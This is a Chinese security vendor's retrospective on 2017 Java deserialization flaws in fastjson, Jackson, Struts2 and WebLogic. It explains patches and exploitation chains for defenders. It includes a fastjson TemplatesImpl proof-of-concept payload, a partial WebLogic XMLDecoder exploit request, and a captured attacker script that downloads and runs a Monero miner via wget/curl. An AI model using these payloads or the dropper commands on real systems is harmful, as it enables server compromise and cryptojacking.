作者:廖新喜
2017年OWASP发布了新的十大web漏洞威胁,其中A8:2017就是不安全的反序列化,A9:2017-使用含有已知漏洞的组件也和反序列化紧密相连,这是因为在Java开发中很多代码都依赖于第三方组件,而这些组件可能会存在反序列漏洞,典型的例子就是Jackson,fastjson,XStream,XMLDecoder等开源组件。序列化是对象转换成二进制,json,xml等存储格式。而反序列化恰好相反,则是将二进制,json,xml转换成相应的类。
在2017年绿盟科技NS-SRC 处理的漏洞应急中就有很大一部分是反序列化漏洞,下面我们来一一分析2017年我们应急的那些反序列化漏洞。
总得来说,2017年出现的反序列化漏洞和以往反序列漏洞在漏洞形成方式上不太一样,在以往都是由于Java自身的反序列特征导致的漏洞,2017年则多了fastjson,Jackson等,这两个库都能将json文本转换成具体的java bean,在这个转换过程中会调用相应的setter方法和getter方法从而导致远程代码执行。2017年还出现关于XMLDecoder和XStream的应急,都是因为依赖问题导致的缺陷。
本报告重点回顾2017年绿盟科技重点应急,影响面非常广的那些反序列化漏洞。从这个报告中能看出反序列化漏洞的发展,攻击方和防御方不停的对抗过程,bypass和反bypass在这个过程中体现得淋漓尽致。
应急路线
从3月份爆出Fastjson的反序列化特性导致的远程代码执行,四月份则是Jackson,Log4j2,Jenkins的反序列化造成的远程代码执行,接着6月份流出了Weblogic CVE-2017-3248的利用代码。稍微消停了一会,Struts2又被安全研究人员盯上,爆出Struts2-052,又是一个远程代码执行。在11月份,由于Jackson官方对漏洞不敏感,接着又被曝CVE-2017-15095,又一个绕过。进入12月份,Fastjson和Jackson相继发布了几个补丁修复那些黑名单的绕过;Weblogic XMLDecoder(CVE-2017-10352)的漏洞被广泛应用于于挖坑。由于很多漏洞都是远程代码执行,有的一个HTTP POST请求就能getshell,所以备受黑产亲睐。
2017年3月15日,fastjson官方发布安全公告表示fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。fastjson官方建议直接升级到1.2.28/1.2.29或者更新版本来保证系统安全。4月29日,本文作者绿盟科技安全研究员廖新喜(xxlegend)构造出了Fastjson的反序列漏洞的PoC,引起了安全圈的广泛讨论。详细的分析可参照1,下面做简单的回顾。
在ParserConfig.java中添加了checkAutoType,不论用户是否开启了autoTypeSupport功能,在类名被加载时都需要通过额外的一层处理(来判断是否在acceptlist里),只有满足了此限制的类名才会被加载。另外引入了黑名单机制,在开启了autoTypeSupport的情况下,如果加载的是黑名单中类也会抛出异常。补丁核心代码如下:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
if (typeName.length() >= maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
静态分析得知,要构造一个可用的poc,肯定得引入denyList的库。这里我们就引入com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类。
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
最核心的部分是_bytecodes
,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中_bytecodes
却是私有属性,_name
也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes
字段才会被反序列化。_tfactory
这个字段在TemplatesImpl既没有get方法也没有set方法,这没关系,我们设置_tfactory
为{ },fastjson会调用其无参构造函数得_tfactory
对象,这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory
属性导致异常退出。整个PoC的执行过程的调用栈如下:
JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec
更多的原理分析可见2 。
fastjson官方后续又添加了一些补丁,本文作者给fastjson官方提交了两次绕过,fastjson官方都发布了相应更新。具体如下:
在fastjson-1.2.42版本中通过异或操作混淆了其黑名单,可以阻挡一部分人分析其黑名单内容,其实这是自欺欺人的。具体的黑名单分析读者可以自行研究。
Jackson是一个开源的Java序列化与反序列化工具,可以将java对象序列化为xml或json格式的字符串,或者反序列化回对应的对象,由于其使用简单,速度较快,且不依靠除JDK外的其他库,被众多用户所使用。但是其组件Jackson-databind可以指定特定的反序列化类,这样就存在代码执行的风险。
这个CVE是本文作者报告的。下面来看一个Jackson官方的补丁,这个补丁主要是将TemplatesImpl加入了黑名单,从后续的CVE就可以看出这是远远不够的,可以通过各种方式绕过。
+ protected void checkIllegalTypes(DeserializationContext ctxt, JavaType type,
+ BeanDescription beanDesc)
+ throws JsonMappingException
+ {
+ // There are certain nasty classes that could cause problems, mostly
+ // via default typing -- catch them here.
+ Class<?> raw = type.getRawClass();
+ String name = raw.getSimpleName();
+
+ if ("TemplatesImpl".equals(name)) { // [databind#1599]
+ if (raw.getName().startsWith("com.sun.org.apache.xalan")) {
+ throw JsonMappingException.from(ctxt,
+ String.format("Illegal type (%s) to deserialize: prevented for security reasons",
+ name));
+ }
+ }
+ }
}
Jackson在反序列的过程中,首先扫描输入的json文件,分析其要反序列的类,通过反射的方式获取该类的构造方法,包括无参构造方法和有参构造方法,获取其setter,getter方法用于操作具体的类的属性。反序列的过程就是先通过反射得到一个实例,通过其setter或者getter方法给该实例的属性赋值,当然如果引入的类的setter方法或者getter方法中存在执行一些一些危险的操作,如利用rmi远程加载类则会造成远程代码执行缺陷。PoC示例图
详细分析可参考3。
CVE-2017-15095是CVE-2017-7525的延续,这个漏洞同样也是本文作者报告的。同样是黑名单的绕过。
CVE-2017-17485是CVE-2017-7525的延续,这个漏洞引入的类是org.springframework.context.support.ClassPathXmlApplicationContext
,利用这个库的bean重新生成类,而这个bean所依赖的xml是由攻击者来定制的。从这里也可以看出黑名单就是个无底洞,深不可见,bypass也是不完。由于Jackson的特性,可以预测,Jackson在2018年还将出现更多的绕过。
struts2号称漏洞之王,2017应急中就处理了S2-045,S2-046,S2-48,S2-052,S2-055,都是远程代码执行级别的漏洞。S2-045的PoC现在还被黑客用于各种漏洞扫描,挖矿。既然是漏洞之王,那自然少不了反序列化,S2-052(CVE-2017-9805)就是XStream使用不当造成的反序列化。S2-055则是由于Jackson-databind导致的反序列化。这两个漏洞的典型特点都是不恰当的使用第三方库导致的。
根据官方的描述信息来看,是REST插件使用到XStreamHandler处理xml数据的时候,由于未对xml数据做任何过滤,在进行反序列将xml数据转换成Object时导致的RCE。
补丁的核心部分如下:
+ protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
+ stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
+ if (invocation.getAction() instanceof ModelDriven) {
+ stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
+ }
+ stream.addPermission(NullPermission.NULL);
+ stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
+ stream.addPermission(ArrayTypePermission.ARRAYS);
+ stream.addPermission(CollectionTypePermission.COLLECTIONS);
+ stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
+ }
主要就是将xml中的数据白名单化,把Collection和Map,一些基础类,时间类放在白名单中,这样就能阻止XStream反序列化的过程中带入一些有害类。
首先分析入口文件,在Struts2的配置文件中有如下xml描述信息:
<beantype="org.apache.struts2.rest.handler.ContentTypeHandler"name="xml"class="org.apache.struts2.rest.handler.XStreamHandler"/>
<constantname="struts.action.extension"value="xhtml,,xml,json"/>
也就是说ContentType为xml的所有请求都会交给XStreamHandler来处理,XStreamHanler.toObject调用了XStream.fromXml来处理那些请求中的xml信息,从而进入反序列化流程。
这里面最有意思的应该是官方给的临时缓解措施不起作用,官方给出的缓解措施<constant name=”struts.action.extension” value=”xhtml,,,json” />
,从字面意思也能看出来,这个是针对action的后缀的,也就是说如果后缀不带xml也就可以绕过。而POST请求一般不带xml后缀直接忽视这个缓解措施。下图就是一个示例:
所以说Struts的官方也是根据PoC修漏洞,没完全测试过的东西就直接放出来。XStream只跟Content-Type有关,如果Content-Type中含有xml,则会交给XStream处理,更多的详情分析见4
2017年12月1日,Apache Struts发布最新的安全公告,Apache Struts 2.5.x REST插件存在远程代码执行的中危漏洞,漏洞编号与CVE-2017-7525相关。漏洞的成因是由于使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。当然官方说的影响是未知,其实这里是远程代码执行。
没有提供补丁,只是提醒升级Jackson库版本。
为了让Jackson支持多态,Jackson官方提供了几种方式,第一种全局Default Typing机制,第二种为相应的class添加@JsonTypeInfo注解。这里会启用第二种方式,在第二种方式中,大体代码如下:
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
public Object clientName;
在clientName上方添加注解,打开支持多态的特性,这样我们就能指定clientName的类型;另一个是将clientName的类型改为Object类型,这样就避免了类型不匹配或者不是其子类的错误。
另外Jackson不是默认句柄,需要设置ContentTypeHandler,这样当Content-Type为application/json格式的请求都交给了JcaksonLibHandler来处理。具体的PoC就是Jackson的PoC,这里不再展示,详情分析见5。这个漏洞和S2-052非常类似,都是引用的第三方库存在缺陷导致的漏洞,这样的案例数不胜数,在Java生态中简直就是一个灾难,第三方依赖实在太多。
在2017年,整个Oracle的产品线都深受反序列化影响,其中Weblogic影响面尤其广泛,很多漏洞的CVSS评分都是9.8,9.9甚至为10.
而且CVE-2017-3248的PoC已经在github上,并且被用于黑产,CVE-2017-10352 PoC也被泄露同样被用于黑产。
这个漏洞(CVE-2017-3248)就是利用rmi机制的缺陷,通过JRMP协议达到执行任意反序列化payload的目的。利用步骤可以分为两步,第一步建立JRMP监听端口,第二步执行反序列化操作,其反序列化内容指向外部的JRMP监听端口,这样在反序列的过程中就会从远程JRMP监听端口加载内容并执行序列化操作,详细的利用工具可以使用ysoserial。
这个漏洞是由于XMLDecoder这个缺陷库存在代码执行问题,同样也是由于被黑产利用而被大家广泛得知。其实在CVE-2017-3506中,Weblogic官方已经做了一次修补,只是当时的修补不够彻底,后来有研究员给Weblogic提供了绕过的PoC,Weblogic官方再次完整修补。同时这个PoC也被泄露,非常多的用户中招。
补丁的核心代码如下:
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
这个补丁限定了object,new,method,void,array等字段,就限定了不能生成java 实例。
根据补丁大概就得就能猜出相应的PoC,具体如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
。。。。
在动态调试过程中这个调用栈非常深,我们简单解释一下关键的几个部位,首先是WorkContextServerTube.java中processRequest方法,主要功能就是分割整个xml,抽取真正执行的xml交给readHeadOld方法,也就是请求中soapenv:Header
包裹的部分,这一部分最终会交给XMLDecoder,XMLDecoder完成数据到对象的转换,即会执行恶意代码。并且wls-wsat是一个特权应用,无需用户名密码验证,所以危害非常大。
更多详情分析可参考文档 6 , 同时绿盟科技这篇报告的英文版还被Java-Deserialization-Cheat-Sheet收录。
在绿盟的IPS设备或者蜜罐设备就能看到很多这种利用Weblogic XMLDecoder(CVE-2017-10352)进行黑产利用的特征,下面是绿盟IPS抓到的示例,具体如下:
srcip为173.212.217.181
POST /wls-wsat/CoordinatorPortType HTTP/1.1////0d////0aHost: 58.210.×.×:
对于linux系统会去191.101.180.74下载一个bash脚本执行挖坑行为(门罗币)。这个robots.txt的核心内容如下:
wget -q http://45.123.190.178/Silence -O /tmp/Silence
curl -o /tmp/Silence http://45.123.190.178/Silence
else
exit 0;
fi
chmod +x /tmp/Silence
nohup /tmp/Silence -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 44pgg5mYVH6Gnc7gKfWGPR2CxfQLhwdrCPJGzLonwrSt5CKSeEy6izyjEnRn114HTU7AWFTp1SMZ6eqQfvrdeGWzUdrADDu -p x -R 1 &>>/dev/null &
sleep 10
rm -rf /tmp/Silence
对srcip:173.212.217.181溯源跟踪,从绿盟科技威胁情报中心NTI中的数据也能看出,该IP从2017年8月份开始,一直被用于特定漏洞扫描以便发现更多具有脆弱性的主机。
从OWASP 2017 top ten报告中可以看出反序列化是一个业内都开始关注重视的漏洞类型,一个原因就是该漏洞很多时候都是通过黑名单的方式的修复,这就导致了层出不穷的绕过,从Jackson,fastjson,weblogic一见端倪,都是修复,绕过,再修复,再绕过,没有尽头。另外一个原因就是该漏洞的危害非常大,通常都是RCE,一个PoC直接获取系统权限,不管是黑产,灰产,开发,运维还有白帽安全人员都非常重视该类型的漏洞。从系统的重要性来看,国内很多商业系统都是基于Java框架开发,这些中间件或者Web容器一旦出现漏洞,整个系统都变得不堪一击,可能造成不可挽回的影响。
对于反序列漏洞的防御,业内也是一个难题,首先得确保所有的依赖库和容器已经更新到最新版本,这样能防止已知漏洞的攻击。另外绿盟科技的IPS,WAF都已经具备对这些漏洞的防护能力,更多的防护策略请参考绿盟科技下一篇关于反序列化漏洞防御的文档。
http://blog.nsfocus.net/tag/fastjson/
http://blog.nsfocus.net/tag/jackson/
http://blog.nsfocus.net/tag/weblogic/